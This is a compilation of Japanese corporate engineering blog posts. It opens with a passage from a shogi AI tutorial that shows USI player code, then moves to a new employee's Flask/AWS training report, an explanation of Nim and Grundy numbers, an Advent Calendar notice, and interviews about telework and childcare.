Interface)プロトコルとは、将棋GUIソフトと思考エンジンが通信をするために、Tord Romstad氏によって考案された通信プロトコルです。 http://shogidokoro.starfree.jp/usi.html 上のように、USIプロトコルをもとに通信することで、将棋AIをGUI上で動かします。 フォルダ構成 \<policynetwork>(root dir) |- <bat> | | Docbase.bat | |- <pydlshogi> | |- <player> | | base_player.py | | Docbase_player.py | | | |- <usi> | | usi.py | | usi_Docbase_player.py import numpy as npimport chainerfrom chainer import serializersfrom chainer import cuda, Variableimport chainer.functions as Fimport shogifrom pydlshogi.common import *from pydlshogi.features import *from pydlshogi.network.policy import *from pydlshogi.player.base_player import *def greedy(logits): return logits.index(max(logits))def boltzmann(logits, temperature): logits /= temperature logits -= logits.max() probabilities = np.exp(logits) probabilities /= probabilities.sum() return np.random.choice(len(logits), p=probabilities)class PolicyPlayer(BasePlayer): def __init__(self): super().__init__() self.modelfile = r'学習したモデルのパス' self.model = None def usi(self): print('id name DocBase ShogiAI') print('option name modelfile type string default ' + self.modelfile) print('usiok') def setoption(self, option): if option[1] == 'modelfile': self.modelfile = option[3] def isready(self): if self.model is None: self.model = PolicyNetwork() self.model.to_gpu() serializers.load_npz(self.modelfile, self.model) print('readyok') def go(self): if self.board.is_game_over(): print('bestmove resign') return features = make_input_features_from_board(self.board) x = Variable(cuda.to_gpu(np.array([features], dtype=np.float32))) with chainer.no_backprop_mode(): y = self.model(x) logits = cuda.to_cpu(y.data)[0] probabilities = cuda.to_cpu(F.softmax(y).data)[0] # 全ての合法手について legal_moves = [] legal_logits = [] for move in self.board.legal_moves: # ラベルに変換 label = make_output_label(move, self.board.turn) # 合法手とその指し手の確率(logits)を格納 legal_moves.append(move) legal_logits.append(logits[label]) # 確率を表示 print('info string {:5} : {:.5f}'.format(move.usi(), probabilities[label])) # 確率が最大の手を選ぶ(グリーディー戦略) selected_index = greedy(legal_logits) # 確率に応じて手を選ぶ(ソフトマックス戦略) selected_index = boltzmann(np.array(legal_logits, dtype=np.float32), 0.5) bestmove = legal_moves[selected_index] print('bestmove', bestmove.usi()) 上のように、AIの情報や局面ごとの最善手を計算していきます。 §3. GUIソフトで動かす 上で作ったモデルと実際に対局します。 GUIソフトはいくつかありますが、 将棋所 を使用します。 上のように、登録することができます。 §4. 参考 参考 URL 将棋AIで学ぶディープラーニング https://book.mynavi.jp/ec/products/detail/id=88752 Alpha Goの論文 https://www.nature.com/articles/nature16961 §5. 終わりに いかがでしょうか? 私は、ボードゲームが趣味で将棋、囲碁、チェス等ももちろん好きです。 チェスは、1997年に、当時のチャンピオン Гaрри Каспaров さんが、IBM社のディープブルーに敗れました。私がまだ生まれていない時代から、AI vs 人間の戦いが始まっていたことを知ったときは、驚愕しました。そして、あと10年は人間に勝てないといわれていた、囲碁も2016年に李 世乭 さんが、Google傘下のDemis Hassabis さんが率いるDeepMind社のAlpha Goに敗れました。 今回の将棋AIも、Alpha Goを参考にしています。 そして、将棋も2010年代からずっと、ponanzaといわれる将棋ソフトの強さは注目されていました。ponanzaには、モンテカルロ法が採用されていました。当時から、将棋プロでさえ、ponanzaを一目おいていて、当時の竜王である渡辺明さんとponanzaの公開対局が催されたりしました。(渡辺明竜王(当時)の逆転勝ち) 2016年、 Alpha Goの論文 が公開されると、すぐにAlpha Zeroと呼ばれる将棋AIが誕生しました。現在の、将棋界は藤井聡太2冠をはじめとして、若年世代を筆頭に、世代を問わず将棋AIを用いた研究が盛んになっています。 コンピュータ将棋大会も、開かれていて、将棋AIの強さを競う大会もあります。ぜひ、今回の記事に興味をもった方はBERTで、将棋AIを作ってみてください! https://www.youtube.com/watch?v=2Vl6Ao4GaSQ&t=853s
アバター
はじめに こんにちは!2020年4月に入社したITシステム課(現デジタルテクノロジー戦略本部)のN.Yです。 今回は入社から現在までの、研修についての振り返りをしたいと思います。 自己紹介 私は、マイナビに入社するまで本格的にプログラミングをしたことがない、文系大学生でした。 就活と同時に勉強を始め、Progateを中心にhtmlやCSSを学んでいました。 入社時は、ゴリゴリにプログラミングできることに憧れもありましたが、自分の手でサービスをつくりたいとも考えていました。 現在は以下の業務を中心に行っています。 SSO、ID統合管理サービスの導入 社内BTSサービスの運用 社内図書館アプリの開発・運用 社内イントラサイトの再現の開発 ITシステムの導入・サービスの運用(非エンジニア的業務)と、アプリ開発やサイト開発(エンジニア的業務)を6:4ほどの割合で行っています。 プライベートでは以下のようなことを行っています。 WordPressを用いたブログ作成 SlackとGASを連携したbotの作成 ランチで神保町のカレー探索 最近はシンプルなプログラムなら作れるようになってきたので、徐々に開発の楽しさが増してきている今日このごろです! 入社から配属まで 入社してすぐに全体研修があり、約3カ月間で基礎的なビジネスマナーとIT技術を学びました。 全社研修+ITコースの入社研修については、 別記事 にインタビューが掲載されています。 入社研修後は現在の部署に配属になり、業務をこなしつつ、部内で新人研修を並行しておこなっていました。 部内研修の目的は、プログラミングだけでなく、アプリケーションを支えるインフラ部分の理解と定着です。そのため、ネットワーク、アーキテクチャなどについて、より多くの時間をかけて学んでいきました。 今まで学んだIT技術をより実践的に学ぶことで、新人研修を受けたまま曖昧になっていた部分の知識がしっかりと整理され、システムが具体的にイメージできるようになりました! 部内の研修内容 やったこと 部内の研修ではFlaskを使ったWEBアプリの開発を行いました。 私が所属するシステム統括本部の本棚には、約200冊ほどの書籍があり、それを管理できるWEBアプリケーションを開発するのが、部内での研修でした。 全体研修ではローカルPCに環境構築をし、機能の結合も手動で行いつつ、部内研修では、アジャイル・ペアプロ・クラウド・Gitなど、現場でもよく使われる手法や技術を利用し、実践的なことを学ぶことができました。 また、ミニマム(一番簡単なシステム)でよいので、期日までに必ず動くものをつくること、というルールもありました。このルールにより、過程ではなく、結果が求められる現場ならではの考え方を学べました。 開発手法や流れ 手法 同期とともに ペアプログラミング で開発をおこないました。 ペアプログラミングとは、1人がコーディング、もう1人はそれをレビューしながら開発を進めていく手法です。 また「プログラミングなら何でもおまかせ!!」というほどの凄腕の課長がトレーナーとなってもらい、3人でSlackのチャットやビデオ会議でコミュニケーションをとり、プロジェクトとコード管理にはGithubを利用しました。 流れ 週初め:今週行うことの打ち合わせやレクチャー 週中:それぞれの担当を開発 週の終わり: 振り返りと動作確認 来週行うことの打ち合わせ といった1週間ほどのスパンで開発しました。 全体的なスケジュール としては ①要件定義 ②AWSのEC2立ち上げ ③ミドルウェアのインストール(nginx,gunicorn) ④Python+flask+jinja2で開発 ⑤開発環境から本番環境にデプロイ を2ヶ月ほどかけて行いました。 研修で特に学びになった取り組み 画面遷移図の作成→CSSコーディング nginx+gunicornインストール データベースを本番環境にリストア トラブルシューティング 1. 画面遷移図の作成 → CSSコーディング 実際の開発手法にそった形で行うため、Adobe XDというUI作成ソフトを使って画面遷移図を作成しました。 今までパワーポイントやエクセルなどで作成していたのが、XDを使うことで素早く作成することができました。 また、サイトイメージを作成する際は、テキストの見やすい配置や、Bootstrapをそのまま生かせるデザインをつくることを心がけました。 そして、サイトイメージを作成したことで、高さ、横の配置や、各パーツの幅や間隔が数値で明確になっているため、その後のCSSコーディングや打ち合わせが効率よく進みました。 XDを使ったことで、以下の学びを得られました。 サイトイメージは実際に作成するものに忠実に作らなければならない。 画面遷移の機能を使うことで、URL構造の抜けを発見できる ※XDで作成したサイトイメージの一部 2. nginx+gunicornインストール 今まで、馴染みが薄かったミドルウェアをインストールし、サイト開発に使用しました。(全体研修では、Xamppで開発したため) 当時はどういった働きをするものなのかが全くわからなかったため、開発に着いていくのに精一杯でした。 これらのソフトウェアを開発を通して触れたことで、 Pythonだけではサイトは作れない(基本的には) サーバーとアプリケーションがどのように連携しているか(相互の通信、ポート番号や設定ファイルなど) 3倍ほどの種類のlinuxコマンドが打てるようになる(入社当時は皆無だった) など、さまざまな経験や学びを得ることができました。 3. データベースを本番環境にリストア 約200冊ほどのデータを開発環境に入れたあと、本番環境に移す作業が大変でした。踏み台サーバーを経由して、本番環境のデータベースにローカルのデータをコピーすることに、かなりつまずきました。 当時、コピーということであったので、「右クリックしてコピーして、指定の場所で貼り付け」といった方法を想定してたのですが、今回はできそうもありませんでした。(今思うと当たり前) つまずいた理由としては、 踏み台サーバーにユーザー作成+公開鍵設定ができていなかった その原因がわかるまで、どの通信エラーのログを読めばいいのか理解していなかった データベースがどこにどうやって配置されているか理解していなかった など、さまざまなつまずきを経験できました。 この経験を通して、上記のつまずきだけでなく AWSの構成やロールなどに詳しくなった 踏み台サーバーが何のためにあるのかを理解できた などの学びを得ることができました。 4. トラブルシューティング トラブルシューティングは一番大変な作業でしたが、最も勉強になった内容でもありました。 内容は、「後輩がシステムに入って操作したところ一部の部分が壊れてしまった」といった架空のケースを2日間で解決するといった研修。 アプリが動いていないのは「ブラウザを見ればわかる」が、どこが壊れているかは「ブラウザを見ただけではわからない」といった部分が新鮮であり、難しい課題でした。 さまざまなエラーログを見て、考えられる仮説を同期と話し合い、解決策を模索しました。壊れているのは一つではなく複数あったので、難易度が高く、すべてを解決することはできませんでした。 しかし、このトラブルシューティングのおかげで、エラーログの重要性や一つ一つのシステムの特性を学ぶことができました。 アプリ開発の全体の流れ・手順 【AWSに開発環境作成(初期)】 AWS IAMユーザー作成 AWS EC2作成・SSH接続 VSCODEでEC2にSSH接続 社内のプロキシ設定をくぐる Python インストール・venv作成 flaskのインストール 【要件定義などドキュメント作成】 「概要・目的・解決したいこと」を明確にする サイトのURLを決める(研修用の使えるドメインの制限があるため) 画面遷移図を作成する(Adobe XDを使用) 【開発環境作成(中期)】 ステージングのインスタンスに検証用のユーザーを追加 nginx・gunicornのインストール mysql インストール テストデータで動作チェック 【一覧画面・詳細画面コーディング】 jinja2インストール pythonでサイト制作 flaskを用いたデータ処理 検索機能・ページング機能の搭載 【開発環境(末期)】 インスタンス起動時にデーモンが起動するようにする 【データベース作成】 190冊ほどの資料をデータベース化 【トラブルシューティング】 仮想のトラブルケースに対応する 【開発環境の最新データベースを本番環境にリストア】 踏み台サーバーからmysqlにアクセス 私が開発中に大変だったこと SSH接続のエラーがなかなか解決できなかったこと ネットワーク、アーキテクチャ、ミドルウェアなど、さまざまな分野の新しい知識がどんどん出てくること 同期との理解度の差にいろんな意味で対応すること(わからないところはしっかり聞く) 先輩からレクチャーを受けたあと、いざ自分が手を動かすとなるとほとんどできないこと 学びになったこと ログの見方を習得し、つまずいたときの対応力がついた 最初わからなくても、3、4回触り、つまずいても乗り越えれば、なんとなく理解できることを知った わかったつもりが一番危ない、誰かにアウトプットしてやっと定着する 研修を受けての感想 つまずいてしまったとき、すぐにトレーナーに質問するべきなのか、まだ自分で調べて解決すべきなのかの線引きが難しかったです。 今振り返ると、質問せずに自力で調べれば調べるほど、当時の私は余計に混乱していました。あらかじめ時間を決めて、それを超えてもまだ解決できないときは質問をする、などの方法を取っても良かったと思います。 最初の1ヶ月間は、自分の知識も技術も足りずに申し訳なさと恥ずかしさで一杯でしたが、トレーナーと同期のおかげで何とか乗り切ることができました。 研修は終了しましたが、学びを業務に生かせるよう、今後もしっかりと頑張っていきたいと思います!
アバター
はじめに こんにちは。ITソリューション部(現デジタルテクノロジー戦略本部)のS.Dです。 皆さん、ゲームは好きでしょうか? 私は、将棋やチェスなどのボードゲームが大好きです。 先日、竜王戦の第二局が行われ、タイトル100期を目指す羽生善治先生が、現タイトル保持者の豊島竜王に挑み、1対1のタイになりました。 最近では、将棋AIがプロ棋士よりも強くなり、アマチュア、プロを問わず将棋AIを活用して将棋の研究が行われています。 チェスの世界では、私が生まれるよりも早く、人間が機械に敗れています。カスパロフさんという、当時の世界チャンピオンがDeepBlueと呼ばれるIBMが開発した機械に敗れました。 そして、ついこの間、機械が人間に勝つにはあと10年かかるといわれていた囲碁でも、Google傘下のDeep Mind社の開発したAlpha Goが、現役最強のイ・セドル9段を破ったことで非常に有名になりました。 少し前までは、個人で機械学習やAIなどの開発を行うには、機材などがとても高価で手が出ませんでした。 しかし、AWSやGoogle Cloudなどの、クラウドサービスが台頭してから、個人でも機械学習などの開発が盛んに行えるようになりました。 私も、囲碁の評価関数やAIを趣味で自作しており、いつの間にか自分より強くなってしまいました。 開発を行っている中で、「"ゲーム"とはいったい何なのか?」という問いがよく浮かんできます。 この、組み合わせゲーム理論はゲーム理論の中でも、不偏ゲームという比較的簡単なゲームを対象にした理論です。 とても面白いものなので、皆さんにご紹介できればと思います! 組み合わせゲーム理論とは? 組み合わせゲーム理論(Combinatorial Game Theory)とは、Nim・将棋・チェス・囲碁などの、二人零和有限確定完全情報ゲームに関しての理論です。 ゲームには、勝ち・負け・引き分けの3つの状態があります。(引き分けは存在しないこともあります) 先後が決まっており、状態遷移で勝負が決まります。例えば、将棋では玉が詰まされたら負けです。 手番は、交互に代わり、最終的に手が無くなるとき(=つまり状態遷移がこれ以上進まないとき)に、勝ち負けや、引き分けになります。 組み合わせゲームは、必ず終わりがあり、ループは認められません。 一般的なゲーム理論との大きな違いは、運や不完全情報を含まない点です。 CGT(Combinatorial Game Theory、組み合わせゲーム理論)は、しばしば競プロとかで出問されていて、その多くは、ある発見をすると簡単にコーディングできます。 今回は、その端緒をご紹介します。 不偏ゲーム(Impartial Games)と非不偏ゲーム(Partisan Games) 組み合わせゲームは大きく分けて、不偏ゲーム(Impartial Games)と非不偏ゲーム(Partisan Games)の2つに分けられます。 不偏ゲーム:任意の局面において、2人のプレイヤーの選択肢とその結果が同じ 非不偏ゲーム:ある局面において、2人のプレイヤーの選択しとその結果が同じでない場合が存在する 例えば、以下のようなゲームは不偏ゲームです。 Nim: 各山にいくつかの石があります。 各ターンで、プレイヤーは1つの山(少なくとも石が1つ存在する)を選び、任意の数の石(少なくとも1つ)を取り除きます。 最初に上の操作ができないプレイヤーが、敗北です。 上記は、非常に有名な不偏ゲームの一つで、 Nim と呼ばれています。 逆に、将棋・チェス・囲碁を考えてみましょう。 両ゲームとも、自分の持ち駒(石)と相手の持ち駒(石)があり、両方のプレイヤーにとって選択肢は違い、動かせる駒や石も違います。このようなゲームは、非不偏ゲームと呼ばれます。 非不偏ゲームは、不偏ゲームと比べてはるかに分析が困難になることが多いです。 今回は、 不偏ゲーム を扱っていきます。 代表的な不偏ゲーム「Nim」について Nimとは まずは、Nimゲームについて考察していきましょう。 Nim: 各山にいくつかの石があります。 各ターンで、プレイヤーは1つの山(少なくとも石が1つ存在する)を選び、任意の数の石(少なくとも1つ)を取り除きます。 最初に上の操作ができないプレイヤーが、敗北です。 (出典: https://www.geeksforgeeks.org/introduction-to-combinatorial-game-theory/?ref=lbp ) 上の例をみていきましょう。 A・Bのプレイヤーがいます。山が3つ存在していて、それぞれ、3・4・5個の石があります。 A->B->A->B->…のような感じで、先手がAとして、任意の山から石を少なくとも1個以上取ります。最終的に、石が取れなくなったプレイヤーの負けです。 上の図のように遷移したとき、Aが勝利します。 さて、このゲームは必勝法が存在するのでしょうか? また、必勝法が存在するとしたら、先手後手どちらが必ず勝つことができるのでしょうか? Nimの必勝法とは Nimには、必勝法が存在します。 ただし、山の石の配置の仕方によって、勝つプレイヤーは変わってきます。 ここで一つ、 Nim-Sum と呼ばれる、重要な値を紹介します。 Nim-Sum:ゲームある時点での、各山の石の数の累積XORの値 (出典: https://qiita.com/kuuso1/items/778acaa7011d98a3ff3a ) ちなみに、XORとは上のような演算子です。C/C++だと、a ^ b のbit演算子のことです。 このNim-Sumの値を使うと、今回の勝負について以下のことがいえます。 AとBが自分にとって最適な行動(自分が勝つように動く)をとるとき、ゲーム開始時点で、 Nim-Sumが0でなければ、Aの勝ち Nim-Sumが0のとき、Bの勝ち つまり最適な戦略を考えるには、以下2つの定理が必要です。 定理1. n個の数値のXORの合計が、0のとき数値を一つ減らすだけで、XOR合計を0にすることはできない 定理2. nこの数値のXORの合計が、0以外のとき数値を一つ減らすだけで、XOR合計を0にすることができる Case1:最初のNim-Sumがゼロの場合 すでに紹介したように、この場合最適に動けば、Bが必ず勝ちます。 Bの最適な戦略として、AのターンのときにNim-Sumを必ずゼロにすることです。 Aの手番のとき、Nim-Sumは、もともとゼロなので、Aがどの山からどれだけ石を取ろうとも、Nim-Sumをゼロにすることはできません。(定理2.) 逆に、Bの手番のとき、Nim-Sumはゼロではないので、必ずNim-Sumをゼロにするような石の取り方が存在します。 ゲームは、最終的に全ての山に石が存在しなくなるまで行われるので、上の手順を繰り返せば、最終的にBが勝つことができます。 この手順、つまり相手のNim-Sumがゼロになるように動くことが、本ゲームでの最適な行動といえます。 Case2:最初のNim-Sumがゼロではない場合 上と同様に、今度は逆にAがBのNim-Sumをゼロにするように動けば必ずAが勝ちます。 Bは常に自分のターンがNim-Sumがゼロで回ってくるので、AのターンにNim-Sumをゼロにすることができません。 例えば、上で例を挙げた、3つの山にそれぞれ、3・4・5個の石が存在する場合は、 3 XOR 4 XOR 5 = 2 となって、必ずAが勝ちます。 Grundy数について ここからは、Nimを一般化したNimkを扱います。 Nimkは、以下のように表されます。 Nimk: 各山にいくつかの石があります。 各ターンで、プレイヤーは1つの山(少なくとも石が1つ存在する)を選び、K個の石(少なくとも1つ)を取り除きます。 最初に上の操作ができないプレイヤーが、敗北です。 Nimkには Grundy数 というものが、密接にかかわっています。 Grundy数とは Grundy数(Nimbers)とは、ゲームの状態を決定する数字のことです。 全ての不偏ゲームは、一度そのゲームのGrundy数を計算すると、ゲームをどのように解くことができるかがわかります。 ※Sprague-Grundyの定理とも呼ばれる Grundy数を計算する前に、まず Mex とは何かを説明します。 Mexとは Mex(Minimum excludant)とは、ある集合の要素でない最小の非負整数のことです。 (出展: https://www.geeksforgeeks.org/combinatorial-game-theory-set-3-grundy-numbersnimbers-and-mex/) Grundy数の計算 今回、Grundy数を以下のように定義します。 Grundy数: 先手のプレイヤーが次の手番で負けることが決定しているときは「0」 それ以外のときは「すべての可能な次の局面のGrundy数のMex」 例で、Grundy数を2つ計算してみましょう! 例1 一つの山に、n個の石があります。 プレイヤーA・Bは、Aを先手として、交互に任意の自然数の数を選んで、山から石を取ります。 最初に、石を取ることができなくなったプレイヤーの敗北です。 A・B共に、自分が勝つために最善な行動をとる場合、どちらが勝利するでしょうか? 上のGrundy数を求めます。 もし山に1つも、石がなかった場合Grundy数G(0) = 0 です。 もし山に1つ石があった場合、Aは必ず石を1つ以上取らなければいけないので、G(1) = Mex(0) = 1 もし山に2つ石があった場合、Aは石を、1つ取るか2つ取るかできます。 G(2) = Mex(0,1) = 2 同様にして、山にn個石があった場合 G(n) = Mex(n-1,n-2,….,1,0) = n となります。 常にGrundy数が0以上なのでプレイヤーAが必ず勝利します。 例2 1つの山に、n個の石があります。 プレイヤーA・Bは、Aを先手として、交互に1~3までの任意の数を選んで山から石をとります。 最初に、山から石を取ることができなくなったプレイヤーの敗北です。 A・Bともに自分が勝つために最善を尽くした場合、どちらが勝利するでしょうか? 上のGrundy数を求めます。 もし山に1つも、石がなかった場合Grundy数G(0) = 0 です。 もし山に1つ石があった場合、Aは必ず石を1つ以上取らなければいけないので、G(1) = Mex(0) = 1 もし山に2つ石があった場合、Aは石を、1つ取るか2つ取るかできます。 G(2) = Mex(0,1) = 2 もし山に3つ石があった場合、Aは石を、1つ取るか2つ取るか3つ取るかできます。 G(3) = Mex(0,1,2) = 3 ここまでは、例1と同じです。 もし山に4つ石があった場合、Aは石を、1つ取るか2つ取るか3つ取るかできます。 G(4) = Mex(1,2,3) = 0 となります! 数学的帰納法から、簡単に 山にn個石があった場合のGrundy数は以下のように求められます。 G(n) = Mex(G(n-1), G(n-2), G(n-3)) (出典: https://www.geeksforgeeks.org/introduction-to-combinatorial-game-theory/?ref=lbp ) Sprague-Grundy定理について 上の最後の例2について、さらに考察していきましょう。 例2 1つの山に、n個の石があります。 プレイヤーA・Bは、Aを先手として、交互に1~3までの任意の数を選んで山から石をとります。 最初に、山から石を取ることができなくなったプレイヤーの敗北です。 A・Bともに自分が勝つために最善を尽くした場合、どちらが勝利するでしょうか? この問題は、nが与えられたとき、上のようなGrundy数の遷移で解けることがわかりましたが、一般に不偏ゲームにおいてGrundy数が適用できるのでしょうか? Sprauge-Grundy定理とは 一般に、2人のプレイヤー(A先手・B後手)がいて、n個のサブゲームからなる不偏ゲームを考えます。 Sprauge-Grundy定理は、以下のことを述べています。 A・Bが、自身の勝利のために最善を尽くして動く場合、 ゲーム開始時に、すべてのサブゲームでのGrundy数のXORが0でない場合は、Aが勝利します。 逆に0のときは、必ずBが勝利します。 定理の適用 Sprauge-Grundy定理は、以下のように適用できます。 ゲームをサブゲームに分割する すべてのサブゲームで、その時点でのGrundy数を計算する 計算したGrundy数のXORを計算する XORが0でなければ、最初にプレーするプレイヤーが勝ちます。0であれば、後手が勝ちます。 このアルゴリズムで、問題を解くと以下のようになります。 例2 3つの山に、それぞれ、3・4・5個の石があります。 プレイヤーは、Aを先手として、交互に1~3までの任意の数を選んで山から石をとります。 最初に、山から石を取ることができなくなったプレイヤーの敗北です。 A・Bともに自分が勝つために最善を尽くした場合、どちらが勝利するでしょうか? 一つの山から石を取りつくすことをサブゲームとします。 Grundy数を計算します。 (出典: https://www.geeksforgeeks.org/introduction-to-combinatorial-game-theory/?ref=lbp ) それぞれ3・4・5個の山のGrundy数のXOR G(3) = 3 G(4) = 0 G(5) = 1 G(3) XOR G(4) XOR G(5) = 2 となります。 4. Grundy数のXORが0ではないので、プレイヤーAが勝利します。 最後に いかがでしたでしょうか? 楽しんでいただければ幸いです。 CodeForcesやHackerRankなどで、面白い問題がたくさんあるのでぜひ解いてみてください! 全く関係ないですが、とっても楽しいゲームなので、ぜひ これ をやってみてください! Herbert Online Judge : http://herbert.tealang.info/index.php?lang=en <解説> CodeForces GeeksforGeeks <問題集> HackerRank CodeForces YukiCoder
アバター
こんにちは、マイナビエンジニアブログ編集部です。 今回は、「マイナビ Advent Calendar 2020」についてご紹介したいと思います! Advent Calendar(アドベント カレンダー)について Advent Calendarは、通常クリスマス(12/1-12/25)までの日数をカウントダウンするという習慣のためのカレンダーの事です。 IT界隈ではQiitaで展開される「Qiita Advent Calendar」に登録するケースが多く、本年もそちらを活用していきます。 昨年に続いて、マイナビでも有志のエンジニアやマネージャーによる本イベントへの参加を行います。 ITに関する記事を毎日1本ずつ投稿していきますので、興味のある方は是非ご確認下さい! 「マイナビ Advent Calendar」はこちらからチェック! 本年のAdvent Calendarはこちらをご覧下さい。 「マイナビ Advent Calendar 2020」はこちら 昨年のAdvent Calendarは以下になりますので、併せてご覧いただければと思います。 「マイナビ Advent Calendar 2019」はこちら
アバター
はじめに こんにちは、マイナビエンジニアブログ編集部です。 今回はテレワーク制度や看護休暇などの社内制度を活用しながら、仕事と育児を両立しておられるT.Nさんにお話を伺いました。 仕事と子育ての両立はなかなか難しいことです。普段はどのような業務を行っているのか、子育てとの両立で工夫していることなど詳しくお話していただきました。 自己紹介 まずは自己紹介からお願いします。 T.Nと申します。 ソフトへの興味から独学でJavaを学び、前職ではアプリケーションエンジニアとして客先常駐で働いていました。 自社商材を持つ会社でより上流工程の業務を経験したいと考えて2016年マイナビに入社、プロジェクトマネージャーとして4サイトの立ち上げに関わりました。そして2019年に社内応募を使って今の課へ異動し、今はWebマーケティング業務を担当しています。 休日は、もうすぐ1歳になる子供の相手をしています。 最近では寝返りをしたりハイハイをしたり、毎日少しずつ成長している姿を見れることがとてもうれしいです。 エンジニアのスキルを活かしてWebマーケティングの世界へ 現在の業務について教えてください。 SEOや広告運用にもっと全社的に関わりたいという思いから、2019年には社内応募で今の課に異動しました。現在は、おもにグループ会社の広告運用などWebマーケティング業務を担当しています。データ取得のためのロジック作成やLP作成、BIツールでの分析や改善、サイト分析や各事業部からの問い合わせ対応などです。ガバナンス整備で部署間の調整やシステムについてわからない部署へのサポートなども行っています。 前職は客先常駐だったため、なかなか会社への帰属意識を持ちづらかったのですが、現在は自社の上流工程の業務に携わり「今、何をやっているのか」という業務の全体を見ることができるので、とてもやりがいを感じています。 1日の業務の流れについて教えてください。 出社後はスケジュールやメール・タスクなどをチェックし、その日にやることの確認をします。その後は問い合わせ対応や日次広告レポートの作成、改善案検討、広告のクリエイティブ作成や入稿などを行っていますね。日によって、会議への参加や部署間の調整もしています。 退勤はだいたい19時ごろ。21時前に家に着いてからは、妻と協力しながら子供が眠るまで面倒をみています。 子育てと仕事を両立するということ お子さまが産まれてから、生活はどのように変わりましたか? 子供中心の生活に変わりました。夜泣きをしたときには寝るまで抱っこしているので、睡眠時間がとにかく減りましたね。けれど、子供との時間をもっと作りたくて、平日もできる限り早く帰宅するようになりました。休日も洋服やおもちゃを買いに出かけるなど、子供のための外出が増えましたね。 また、子供が産まれてからは社内の制度を利用して、週に3回テレワークをしています。社内でもチャットツールなどを利用してやり取りしていたので、自宅でも出社時と変わらずに作業できています。 テレワークの最大のメリットは、ひとりなので仕事に集中できること、そして仕事が終わったらすぐに育児に参加できることだと感じています。通勤に往復3時間ほどかかるので、自宅で業務ができることで育児の時間や睡眠時間が確保できるのはありがたいです。子供が夜中まで寝ないときもあり、テレワーク制度がなかったら睡眠不足で体調を崩していたかもしれないし、業務効率も悪くなっていたと思っています。 在宅で仕事ができる制度があるのは本当に助かります。 デメリットがあるとすれば、このテレワークが暫定的な制度だということでしょうか。これからテレワークがもっと定着していけば、社員がますます働きやすくなると思っています。 確かにテレワーク制度があると両立がしやすいですね。ちなみに、育児と仕事の両立をしていて大変なことはありましたか? やはり朝が眠いということです。子供の寝かしつけが深夜にまでおよんだとしても、どんなに寝不足だろうと仕事の時間は決まっていますので、同じ時間に出社しなければなりません。 また、やはり自分の時間が前と比べて少なくなったことは大きいです。今までは趣味でプログラムを書いたり資格の勉強をしたりと1日1〜2時間は自分の時間が確保できていたのですが、今はそれが難しくなりました。テレビを見る時間も減り、以前はドラマもよく見ていましたが、最近はなかなか時間が取れません。 妻とふたりで協力しながら子育てをしていてもこれだけ大変なのだから、ひとりで全部こなされている方は本当にすごいと思います。 なるほど。育児と仕事が両立するように工夫していることはありますか? まずは、仕事の時間と子育ての時間のメリハリですね。 仕事では、自分で簡単なスクリプトを構築したり、タスク管理ツールを用いて、作業効率を上げるように心掛けています。 私が仕事をしている間は子育てを妻に任せている一方、プライベートな時間は私が子供の面倒を見ることで、なるべく妻にゆっくりしてもらえる環境づくりを心がけています。 また、会社の制度を積極的に活用することも両立の工夫です。マイナビには看護休暇(年間5日)があり、今年は子供の予防接種で消化しました。子供連れで外出するときは何かと荷物が多いし子供もだんだん重くなりますので、なるべく妻とふたりで行くようにしています。 先にお話したテレワーク制度もそうですが、子育て中の社員が仕事と育児を両立できるよう会社の福利厚生が支援してくれる。有給以外にもこのような制度があることはとても助かっています。 メリハリをつけるのは重要ですね。いろいろと工夫されている中で、今後、改善していきたいと思ったことはありますか? 特定の担当者しかその業務に対応できない"属人化"は、まだ改善の余地があると思っています。 業務フローを明確化してマニュアルを作成したり、単純作業は自動化して人が作業しなくてもいいように改善したりと、急にお休みをいただいても業務が滞らないようにしたいですね。 今は、マイナビで導入している情報共有ツールを使って、空き時間を見つけてマニュアルを作成したり、同僚にレビューしてもらいながら進めている最中です。 社内全体が協力的だからできること 世の中では「男性の積極的な育児参加は少ない」という風潮がまだ根強いと思います。周りからの理解は得られていると感じていますか? 課長をはじめ、課のメンバーにはかなり協力的にフォローしていただいていると感じます。 以前、どうしても対応しなければいけない業務がある日に、子供が熱を出してしまったことがありました。 この日は広告配信の開始日で、クリエイティブ(※広告における制作物全般のこと)の追加が必要だったこともあり、当日に手動での作業が必要でした。 ですが、課のメンバー全員が広告管理画面の使用方法を習得しており、業務フローも明確化していたため、「○の広告を△時から開始にしてほしい」と連絡するだけで問題なく引き継ぐことが出来ました。 そのため、急だったにも関わらずお休みを頂けたので、子供の看病に時間を充てることができて、本当に助かりました。 もともと、仲間とは常にコミュニケーションを取り合いながら業務を進めているため、普段から相談がしやすい雰囲気の課だと思います。事前の休日申請に関しても打診がしやすい環境です。 また、私の所属部署では男性の部長が育休中ということもあり、全体的に育児に対する理解があると感じています。こうして私が子育てと両立しながら仕事にも向き合えているのは、社内全体が育児に対して協力的という環境のおかげです。 おわりに いかがでしたでしょうか。 今回は社内の制度を活用しながら、育児にも仕事にも真剣に向き合って両立されているT.Nさんについてご紹介しました。 子供を育てることは、気力も体力も必要でなかなか大変なことではありますが、周りのサポートや、社内の制度を積極的に活用しながら仕事と育児を上手に両立されていますね。 これからも奥さまと二人三脚で子育てを楽しんでいただきたいですね。
アバター
こんにちは、エンジニアブログ編集部のアイコです。 派遣社員ながらブログ編集部員になって早1年が過ぎ、システム統括本部(現デジタルテクノロジー戦略本部)での仕事にも慣れてきた今日この頃。前職の制作部署でのスキルを生かしながらシステム統括本部内(現デジタルテクノロジー戦略本部)で働かせていただいています。 今回は、そんな私目線で見た在宅ワークレポートをお届けしたいと思います。 派遣の在宅ワーク 新型コロナウィルスの影響もあり、マイナビでも4月から在宅ワークを導入しています。 システム統括本部内(デジタルテクノロジー戦略本部)でもやむを得ない場合の出社を除き、全従業員を対象に在宅ワークを推奨しており、いつもは賑やかなシステム統括室内もガラリとしていました。 人も少なければ機器も最低限の稼働状態、雰囲気的な寂しさも加わって異様に感じました。 (心なしか室温も寒かったような) 今回のようにコロナウィルスの影響で日本政府から緊急事態宣言が発令されたことにより、仕事にまで影響が出ると思わなかったですし、こういった状況になっても派遣社員という立場で出社時同様の業務をさせてもらえている状況は非常にありがたいことだと思っています。 在宅ワークでできること、不便なこと リモート設定を行い、自宅でも出社しているときと同じツールを使わせてもらっています。 自宅PCから会社のPCをリモート操作するため、ちょっとしたタイムラグや、会社PCの設定依存などに多少違和感がありましたが、ひと通り出社しているのと同様の作業はできました。 通勤時の天候を気にしなくてもいいし、通勤時間を有効活用できるのが在宅ワークのいいところですよね。 勤務が終了しても電車に乗って帰る必要はないし、まるでどこでも○アを使って出勤しているような感覚です。 